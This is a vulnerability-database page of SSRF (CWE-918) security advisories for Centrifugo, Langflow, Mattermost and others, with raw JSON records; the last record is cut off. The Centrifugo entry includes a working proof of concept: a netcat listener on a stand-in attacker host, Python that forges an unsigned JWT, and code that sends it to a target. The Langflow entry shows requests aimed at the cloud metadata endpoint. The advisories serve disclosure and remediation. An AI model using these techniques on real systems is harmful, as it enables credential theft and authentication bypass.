Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-J77H-RR39-C552

Vulnerability from github – Published: 2026-03-13 20:03 – Updated: 2026-03-27 21:15
VLAI
Summary
Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL
Details

Summary

Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.

Details

In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations: 1. Token is parsed without verification: jwt.ParseNoVerify([]byte(t)) 2. Claims are decoded from the unverified token 3. validateClaims() runs — extracting named regex capture groups from issuer_regex/audience_regex into tokenVars map using attacker-controlled iss/aud claim values 4. verifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled tokenVars to the JWKS manager 5. In internal/jwks/manager.go, fetchKey() interpolates tokenVars directly into the JWKS URL: jwkURL := m.url.ExecuteString(tokenVars) 6. Centrifugo makes an HTTP GET request to the attacker-controlled URL

Suppressed the security linter on this line with an incorrect comment: //nolint:gosec // URL is from server configuration, not user input. The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.

Signature verification happens too late — after the SSRF has already fired.

PoC

Required config (config.json):

{
  "client": {
    "token": {
      "jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
      "issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
    }
  },
  "http_api": { "key": "test-api-key" }
}

Step 1 — Start listener on attacker machine:

nc -lvnp 8888

Step 2 — Generate malicious unsigned JWT:

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token   = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)

Step 3 — Connect to Centrifugo WebSocket with the malicious token:

import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())

Step 4 — Observe incoming HTTP request on attacker listener:

GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1

Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo: 1

Centrifugo Server Log: 2

netcat terminal: 3

Impact

  • Unauthenticated SSRF — No valid credentials required
  • Attacker can probe and access internal network services not exposed externally
  • On cloud deployments: access to metadata endpoints (AWS: 169.254.169.254, GCP: metadata.google.internal) to steal IAM credentials
  • Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to full authentication bypass
  • Exploitation requires jwks_public_endpoint to contain {{...}} template variables combined with issuer_regex or audience_regex — a configuration pattern explicitly documented and promoted by Centrifugo

Suggested Fix

1. Verify signature BEFORE extracting tokenVars (critical fix): In token_verifier_jwt.go, swap the order of operations:

// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars)  ← too late

// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token)  ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only

2. Fix the incorrect nolint comment in manager.go: Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.

3. Alternative mitigation: Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL. ```

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.6.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:03:22Z",
    "nvd_published_at": "2026-03-13T19:54:41Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs \u2014 extracting named regex capture groups from \n   `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n   `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called \u2014 passing attacker-controlled \n   `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n   into the JWKS URL:\n   `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration \u2014 it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late \u2014 after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n  \"client\": {\n    \"token\": {\n      \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n      \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n    }\n  },\n  \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** \u2014 Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** \u2014 Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n    return base64.urlsafe_b64encode(data).rstrip(b\u0027=\u0027).decode()\n\nheader  = b\u0027{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}\u0027\npayload = b\u0027{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}\u0027\ntoken   = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** \u2014 Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** \u2014 Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n![1](https://github.com/user-attachments/assets/6fd5d5b8-f47a-4899-94db-931f52504808)\n\nCentrifugo Server Log:\n![2](https://github.com/user-attachments/assets/2e802648-8dc9-40d7-ac9e-f5f2ca19acad)\n\nnetcat terminal:\n![3](https://github.com/user-attachments/assets/854cfb19-ed0c-44e2-977a-efe2f9b6c50a)\n\n### Impact\n- **Unauthenticated SSRF** \u2014 No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate \u2014 leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` \u2014 a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() \u2192 populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars)  \u2190 too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token)  \u2190 verify first with empty/nil tokenVars\n// 3. validateClaims() \u2192 only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```",
  "id": "GHSA-j77h-rr39-c552",
  "modified": "2026-03-27T21:15:59Z",
  "published": "2026-03-13T20:03:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32301"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/centrifugal/centrifugo"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4702"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL"
}

GHSA-J7WG-FGXP-4H6H

Vulnerability from github – Published: 2026-09-16 18:32 – Updated: 2026-09-16 18:32
VLAI
Details

TDuck survey form through version 5.3 fails to validate webhook URLs or verify form ownership in the WebhookConfigController. Authenticated attackers can attach webhooks to other users' forms and exfiltrate submissions to arbitrary external or internal addresses.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-92602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T17:18:20Z",
    "severity": "HIGH"
  },
  "details": "TDuck survey form through version 5.3 fails to validate webhook URLs or verify form ownership in the WebhookConfigController. Authenticated attackers can attach webhooks to other users\u0027 forms and exfiltrate submissions to arbitrary external or internal addresses.",
  "id": "GHSA-j7wg-fgxp-4h6h",
  "modified": "2026-09-16T18:32:05Z",
  "published": "2026-09-16T18:32:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TDuckCloud/tduck-survey-form/issues/40"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TDuckCloud/tduck-survey-form"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TDuckCloud/tduck-survey-form/blob/9ad4e2dc75cdff5eacc8be0c73f0d4db3c265d43/tduck-webhook/src/main/java/com/tduck/cloud/webhook/controller/WebhookConfigController.java#L43-L47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TDuckCloud/tduck-survey-form/blob/9ad4e2dc75cdff5eacc8be0c73f0d4db3c265d43/tduck-webhook/src/main/java/com/tduck/cloud/webhook/service/sender/WebhookSenderService.java#L84-L100"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tduck-survey-form-through-5.3-server-side-request-forgery-via-unvalidated-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J7X8-MFH6-8XFX

Vulnerability from github – Published: 2024-10-26 00:32 – Updated: 2024-10-29 21:30
VLAI
Details

An issue was discovered in mipjz 5.0.5. In the push method of app\tag\controller\ApiAdminTag.php the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in Server-side request forgery (SSRF) vulnerability that can read server files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-48234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-25T22:15:02Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in mipjz 5.0.5. In the push method of app\\tag\\controller\\ApiAdminTag.php the value of the postAddress parameter is not processed and is directly passed into curl_exec execution and output, resulting in Server-side request forgery (SSRF) vulnerability that can read server files.",
  "id": "GHSA-j7x8-mfh6-8xfx",
  "modified": "2024-10-29T21:30:48Z",
  "published": "2024-10-26T00:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sansanyun/mipjz/issues/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J845-R3RF-7RV4

Vulnerability from github – Published: 2022-05-14 03:07 – Updated: 2022-05-14 03:07
VLAI
Details

Trovebox version <= 4.0.0-rc6 contains a Server-Side request forgery vulnerability in webhook component that can result in read or update internal resources. This attack appear to be exploitable via HTTP request. This vulnerability appears to have been fixed in after commit 742b8ed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-1000553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-26T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Trovebox version \u003c= 4.0.0-rc6 contains a Server-Side request forgery vulnerability in webhook component that can result in read or update internal resources. This attack appear to be exploitable via HTTP request. This vulnerability appears to have been fixed in after commit 742b8ed.",
  "id": "GHSA-j845-r3rf-7rv4",
  "modified": "2022-05-14T03:07:03Z",
  "published": "2022-05-14T03:07:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000553"
    },
    {
      "type": "WEB",
      "url": "https://telekomsecurity.github.io/2018/04/trovebox-vulnerabilities.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J85C-QQPV-57M3

Vulnerability from github – Published: 2026-09-22 21:31 – Updated: 2026-09-22 21:31
VLAI
Details

Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to apply the internal-connection filter to OAuth endpoint requests, which allows a System Administrator to make the server issue requests to internal network addresses and read the responses via the configured OAuth token and userinfo endpoints.. Mattermost Advisory ID: MMSA-2026-00776

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-96259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-22T21:17:34Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.9.x \u003c= 11.9.1, 11.8.x \u003c= 11.8.5, 11.7.x \u003c= 11.7.10, 11.10.x \u003c= 11.10.1 fail to apply the internal-connection filter to OAuth endpoint requests, which allows a System Administrator to make the server issue requests to internal network addresses and read the responses via the configured OAuth token and userinfo endpoints.. Mattermost Advisory ID: MMSA-2026-00776",
  "id": "GHSA-j85c-qqpv-57m3",
  "modified": "2026-09-22T21:31:31Z",
  "published": "2026-09-22T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96259"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8F7-X8JM-WMM4

Vulnerability from github – Published: 2026-10-06 13:39 – Updated: 2026-10-06 13:39
VLAI
Summary
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Details

Summary

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output.

Two things combined to cause this:

  1. Protection disabled / warn-only. The SSRF guard (lfx/utils/ssrf_protection.py, added in 1.7.0 by #10544) shipped with ssrf_protection_enabled = False, and its only caller, the API Request component, called validate_url_for_ssrf(url, warn_only=True). So even with protection turned on, blocked URLs were only logged.
  2. Inconsistent coverage. Other components that take a user-supplied URL or base URL did not call the guard at all: RSS Reader, SearXNG, Web Search (fetching result / RSS URLs), Home Assistant, Glean Search and Docling Serve (remote).

The problem was fixed across several PRs and is fully fixed in Langflow 1.10.3 (and 1.11.0+). With the default settings, outbound requests from these components are now validated after DNS resolution, pinned to the validated IP (to prevent DNS rebinding) and blocked when they target private, loopback, link-local or metadata addresses, unless the operator allowlists the host.

Affected versions

Package (PyPI) Vulnerable Patched
langflow < 1.10.3 1.10.3
langflow-base < 0.10.3 0.10.3
lfx < 1.10.3 1.10.3
lfx-docling (Docling Serve component) < 0.1.2 0.1.2

How the fix rolled out:

Release Change
< 1.7.0 No SSRF guard. All URL-taking components make unrestricted requests.
1.7.0 – 1.9.2 Guard exists, but ssrf_protection_enabled=False by default and API Request uses warn_only=True.
1.9.3 #13016: protection on by default, API Request blocks (DNS pinning / anti-rebinding). Other components still unprotected.
1.10.1 #13395 (RSS Reader, SearXNG) and #13643 (Home Assistant, Glean, plus model-provider URL components) route requests through SSRF-safe helpers.
1.10.3 #14033 (Docling Serve) and #14071 (Web Search result/RSS fetching). All components cited in this report are protected.

Details

Vulnerable pattern (for example rss.py before #13395):

response = requests.get(self.rss_url, timeout=self.timeout)

API Request before #13016:

# TODO: In next major version (2.0), remove warn_only=True to enforce blocking
validate_url_for_ssrf(url, warn_only=True)

with ssrf_protection_enabled: bool = False in the settings.

Clarifications on the original report. Some sinks in the report are not exploitable SSRF:

  • web_search.py: the DuckDuckGo search request and the Google News RSS request, and news_search.py:131. The host is hard-coded (html.duckduckgo.com / news.google.com) and user input only goes into quote_plus-encoded path and query segments, so the destination cannot be redirected. The real Web Search sink was fetching the result URLs, which is fixed in #14071.
  • langflow/load/utils.py get_flow(): this is a client-side SDK helper (from langflow.load import get_flow) that the caller runs against their own Langflow URL. No API route calls it, so it is not a backend SSRF endpoint.

PoC (vulnerable versions)

  1. Log in as any user who can create flows.
  2. Add an RSS Reader (or SearXNG / Home Assistant / Glean / Docling Serve) component and set its URL to http://169.254.169.254/latest/meta-data/ (or an internal host such as http://10.0.0.1/).
  3. Run the component. The Langflow server issues the request, and the response or error is shown in the component output.

On patched versions the same run fails with SSRFProtectionError: Access to IP address 169.254.169.254 is blocked by SSRF protection.

Impact

  • Access to cloud instance metadata (IAM credentials / tokens) on AWS, GCP and Azure deployments.
  • Probing and interaction with internal services and private networks reachable from the Langflow host.
  • Requires an authenticated account with permission to build or run flows. Deployments where every user is already fully trusted are less affected.

Fix

  • #13016: sets ssrf_protection_enabled = True by default, changes warn_only to default False, drops warn_only=True from API Request, and adds validate_and_resolve_url() plus SSRFProtectedTransport (DNS pinning).

diff - ssrf_protection_enabled: bool = False + ssrf_protection_enabled: bool = True - #13395: adds lfx.utils.ssrf_requests.ssrf_safe_get (per-hop validation and pinning for requests) and uses it in RSS Reader and SearXNG.

diff - response = requests.get(self.rss_url, timeout=self.timeout) + response = ssrf_safe_get(self.rss_url, timeout=self.timeout) - #13643: adds lfx.utils.ssrf_httpx (ssrf_safe_httpx_get/post, protected client kwargs) and applies it to Home Assistant, Glean and the model-provider base-URL components. - #14033: Docling Serve builds its httpx.Client with ssrf_protected_httpx_client_kwargs_for_url(base_url). - #14071 (release-1.10.3) / #14073 (forward-port to 1.11.0): Web Search validates and pins each result URL before fetching it, with redirects disabled.

Note: connector-style components (for example Home Assistant, Ollama, LM Studio) keep a documented loopback exemption (#14146), so a self-hosted user can reach a local service on localhost. Private-network and metadata addresses stay blocked. Operators can tighten or relax this with LANGFLOW_SSRF_ALLOWED_HOSTS and LANGFLOW_CONNECTOR_SSRF_VALIDATION_ENABLED.

Remediation

  • Upgrade to langflow >= 1.10.3 (or langflow-base >= 0.10.3 / lfx >= 1.10.3 / lfx-docling >= 0.1.2).
  • Do not set LANGFLOW_SSRF_PROTECTION_ENABLED=false. If you need to reach internal hosts on purpose, allowlist only those hosts with LANGFLOW_SSRF_ALLOWED_HOSTS.
  • On versions that cannot be upgraded right away, restrict outbound network access from the Langflow host (for example, block 169.254.169.254 and use IMDSv2 on AWS).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow-base"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lfx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lfx-docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-06T13:39:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nBefore **Langflow 1.10.3**, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example `http://169.254.169.254/latest/meta-data/`), and in many cases read the response back through the component output.\n\nTwo things combined to cause this:\n\n1. **Protection disabled / warn-only.** The SSRF guard (`lfx/utils/ssrf_protection.py`, added in 1.7.0 by #10544) shipped with `ssrf_protection_enabled = False`, and its only caller, the **API Request** component, called `validate_url_for_ssrf(url, warn_only=True)`. So even with protection turned on, blocked URLs were only logged.\n2. **Inconsistent coverage.** Other components that take a user-supplied URL or base URL did not call the guard at all: RSS Reader, SearXNG, Web Search (fetching result / RSS URLs), Home Assistant, Glean Search and Docling Serve (remote).\n\nThe problem was fixed across several PRs and is fully fixed in **Langflow 1.10.3** (and 1.11.0+). With the default settings, outbound requests from these components are now validated after DNS resolution, pinned to the validated IP (to prevent DNS rebinding) and **blocked** when they target private, loopback, link-local or metadata addresses, unless the operator allowlists the host.\n\n### Affected versions\n\n| Package (PyPI) | Vulnerable | Patched |\n|---|---|---|\n| `langflow` | `\u003c 1.10.3` | `1.10.3` |\n| `langflow-base` | `\u003c 0.10.3` | `0.10.3` |\n| `lfx` | `\u003c 1.10.3` | `1.10.3` |\n| `lfx-docling` (Docling Serve component) | `\u003c 0.1.2` | `0.1.2` |\n\nHow the fix rolled out:\n\n| Release | Change |\n|---|---|\n| `\u003c 1.7.0` | No SSRF guard. All URL-taking components make unrestricted requests. |\n| `1.7.0` \u2013 `1.9.2` | Guard exists, but `ssrf_protection_enabled=False` by default and API Request uses `warn_only=True`. |\n| `1.9.3` | #13016: protection **on by default**, API Request **blocks** (DNS pinning / anti-rebinding). Other components still unprotected. |\n| `1.10.1` | #13395 (RSS Reader, SearXNG) and #13643 (Home Assistant, Glean, plus model-provider URL components) route requests through SSRF-safe helpers. |\n| `1.10.3` | #14033 (Docling Serve) and #14071 (Web Search result/RSS fetching). **All components cited in this report are protected.** |\n\n### Details\n\nVulnerable pattern (for example `rss.py` before #13395):\n\n```python\nresponse = requests.get(self.rss_url, timeout=self.timeout)\n```\n\nAPI Request before #13016:\n\n```python\n# TODO: In next major version (2.0), remove warn_only=True to enforce blocking\nvalidate_url_for_ssrf(url, warn_only=True)\n```\n\nwith `ssrf_protection_enabled: bool = False` in the settings.\n\n**Clarifications on the original report.** Some sinks in the report are not exploitable SSRF:\n\n- `web_search.py`: the DuckDuckGo search request and the Google News RSS request, and `news_search.py:131`. The host is hard-coded (`html.duckduckgo.com` / `news.google.com`) and user input only goes into `quote_plus`-encoded path and query segments, so the destination cannot be redirected. The real Web Search sink was fetching the **result URLs**, which is fixed in #14071.\n- `langflow/load/utils.py` `get_flow()`: this is a client-side SDK helper (`from langflow.load import get_flow`) that the caller runs against their own Langflow URL. No API route calls it, so it is not a backend SSRF endpoint.\n\n### PoC (vulnerable versions)\n\n1. Log in as any user who can create flows.\n2. Add an **RSS Reader** (or SearXNG / Home Assistant / Glean / Docling Serve) component and set its URL to `http://169.254.169.254/latest/meta-data/` (or an internal host such as `http://10.0.0.1/`).\n3. Run the component. The Langflow server issues the request, and the response or error is shown in the component output.\n\nOn patched versions the same run fails with `SSRFProtectionError: Access to IP address 169.254.169.254 is blocked by SSRF protection`.\n\n### Impact\n\n- Access to cloud instance metadata (IAM credentials / tokens) on AWS, GCP and Azure deployments.\n- Probing and interaction with internal services and private networks reachable from the Langflow host.\n- Requires an authenticated account with permission to build or run flows. Deployments where every user is already fully trusted are less affected.\n\n### Fix\n\n- **#13016**: sets `ssrf_protection_enabled = True` by default, changes `warn_only` to default `False`, drops `warn_only=True` from API Request, and adds `validate_and_resolve_url()` plus `SSRFProtectedTransport` (DNS pinning).\n\n  ```diff\n  -    ssrf_protection_enabled: bool = False\n  +    ssrf_protection_enabled: bool = True\n  ```\n- **#13395**: adds `lfx.utils.ssrf_requests.ssrf_safe_get` (per-hop validation and pinning for `requests`) and uses it in RSS Reader and SearXNG.\n\n  ```diff\n  -            response = requests.get(self.rss_url, timeout=self.timeout)\n  +            response = ssrf_safe_get(self.rss_url, timeout=self.timeout)\n  ```\n- **#13643**: adds `lfx.utils.ssrf_httpx` (`ssrf_safe_httpx_get/post`, protected client kwargs) and applies it to Home Assistant, Glean and the model-provider base-URL components.\n- **#14033**: Docling Serve builds its `httpx.Client` with `ssrf_protected_httpx_client_kwargs_for_url(base_url)`.\n- **#14071** (release-1.10.3) / **#14073** (forward-port to 1.11.0): Web Search validates and pins each result URL before fetching it, with redirects disabled.\n\nNote: connector-style components (for example Home Assistant, Ollama, LM Studio) keep a documented loopback exemption (#14146), so a self-hosted user can reach a local service on `localhost`. Private-network and metadata addresses stay blocked. Operators can tighten or relax this with `LANGFLOW_SSRF_ALLOWED_HOSTS` and `LANGFLOW_CONNECTOR_SSRF_VALIDATION_ENABLED`.\n\n### Remediation\n\n- Upgrade to `langflow \u003e= 1.10.3` (or `langflow-base \u003e= 0.10.3` / `lfx \u003e= 1.10.3` / `lfx-docling \u003e= 0.1.2`).\n- Do not set `LANGFLOW_SSRF_PROTECTION_ENABLED=false`. If you need to reach internal hosts on purpose, allowlist only those hosts with `LANGFLOW_SSRF_ALLOWED_HOSTS`.\n- On versions that cannot be upgraded right away, restrict outbound network access from the Langflow host (for example, block 